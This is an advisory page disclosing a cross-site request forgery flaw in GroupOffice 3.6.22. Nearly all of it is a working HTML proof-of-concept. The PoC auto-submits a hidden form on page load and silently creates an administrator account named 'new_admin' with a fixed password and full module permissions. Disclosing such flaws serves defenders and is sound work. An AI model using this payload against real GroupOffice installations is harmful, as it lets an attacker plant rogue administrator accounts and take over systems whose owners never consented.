Home
Consulting
Advisories
Software
Articles
Contact

GroupOffice 3.6.22 Cross-site Request Forgery

Legacy Advisories

Description

A cross-site request forgery vulnerability in GroupOffice 3.6.22 can be exploited to create a new admin.

Proof Of Concept

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/groupoffice-com-3.6.22/modules/users/action.php">
            <input type="hidden" name="modules" value="[{"id":"summary","name":"Startpage","read_permission":true,"write_permission":true},{"id":"email","name":"Email","read_permission":true,"write_permission":true},{"id":"calendar","name":"Calendar","read_permission":true,"write_permission":true},{"id":"tasks","name":"Tasks","read_permission":true,"write_permission":true},{"id":"addressbook","name":"Addressbook","read_permission":true,"write_permission":true},{"id":"files","name":"Files","read_permission":true,"write_permission":true},{"id":"notes","name":"Notes","read_permission":true,"write_permission":true},{"id":"blacklist","name":"IP blacklist","read_permission":true,"write_permission":true},{"id":"bookmarks","name":"Bookmarks","read_permission":true,"write_permission":true},{"id":"comments","name":"Comments","read_permission":true,"write_permission":true},{"id":"dav","name":"WebDAV server","read_permission":true,"write_permission":true},{"id":"emailportlet","name":"Email Portlet","read_permission":true,"write_permission":true},{"id":"groups","name":"Groups","read_permission":true,"write_permission":true},{"id":"links","name":"Link descriptions","read_permission":true,"write_permission":true},{"id":"log","name":"Log","read_permission":true,"write_permission":true},{"id":"mailings","name":"E-mail templates and addresslists","read_permission":true,"write_permission":true},{"id":"modules","name":"Modules","read_permission":true,"write_permission":true},{"id":"search","name":"Search","read_permission":true,"write_permission":true},{"id":"tools","name":"Tools","read_permission":true,"write_permission":true},{"id":"users","name":"Users","read_permission":true,"write_permission":true}]" />
            <input type="hidden" name="groups_visible" value="[{"id":"1","visible_permission":false},{"id":"2","visible_permission":false},{"id":"3","visible_permission":false}]" />
            <input type="hidden" name="group_member" value="[{"id":"1","group_permission":"1"},{"id":"2","group_permission":true},{"id":"3","group_permission":false}]" />
            <input type="hidden" name="task" value="save_user" />
            <input type="hidden" name="user_id" value="" />
            <input type="hidden" name="username" value="new_admin" />
            <input type="hidden" name="password1" value="Password1" />
            <input type="hidden" name="password2" value="Password1" />
            <input type="hidden" name="enabled" value="on" />
            <input type="hidden" name="first_name" value="a" />
            <input type="hidden" name="middle_name" value="" />
            <input type="hidden" name="last_name" value="a" />
            <input type="hidden" name="title" value="" />
            <input type="hidden" name="initials" value="" />
            <input type="hidden" name="sex" value="M" />
            <input type="hidden" name="birthday" value="" />
            <input type="hidden" name="email" value="z@z.com" />
            <input type="hidden" name="home_phone" value="" />
            <input type="hidden" name="address" value="" />
            <input type="hidden" name="address_no" value="" />
            <input type="hidden" name="zip" value="" />
            <input type="hidden" name="city" value="" />
            <input type="hidden" name="state" value="" />
            <input type="hidden" name="country" value="NL" />
            <input type="hidden" name="fax" value="" />
            <input type="hidden" name="cellular" value="" />
            <input type="hidden" name="company" value="" />
            <input type="hidden" name="department" value="" />
            <input type="hidden" name="function" value="" />
            <input type="hidden" name="work_address" value="" />
            <input type="hidden" name="work_address_no" value="" />
            <input type="hidden" name="work_zip" value="" />
            <input type="hidden" name="work_city" value="" />
            <input type="hidden" name="work_state" value="" />
            <input type="hidden" name="work_country" value="NL" />
            <input type="hidden" name="work_phone" value="" />
            <input type="hidden" name="work_fax" value="" />
            <input type="hidden" name="homepage" value="" />
            <input type="hidden" name="language" value="en" />
            <input type="hidden" name="timezone" value="Europe/Amsterdam" />
            <input type="hidden" name="date_format" value="dmY" />
            <input type="hidden" name="date_separator" value="-" />
            <input type="hidden" name="time_format" value="G:i" />
            <input type="hidden" name="first_weekday" value="1" />
            <input type="hidden" name="thousands_separator" value="." />
            <input type="hidden" name="decimal_separator" value="," />
            <input type="hidden" name="currency" value="€" />
            <input type="hidden" name="list_separator" value=";" />
            <input type="hidden" name="text_separator" value=""" />
            <input type="hidden" name="theme" value="Default" />
            <input type="hidden" name="start_module" value="summary" />
            <input type="hidden" name="max_rows_list" value="20" />
            <input type="hidden" name="sort_name" value="last_name" />
        </form>
    </body>
</html>


Copyright © 2018 AutoSec Tools LLC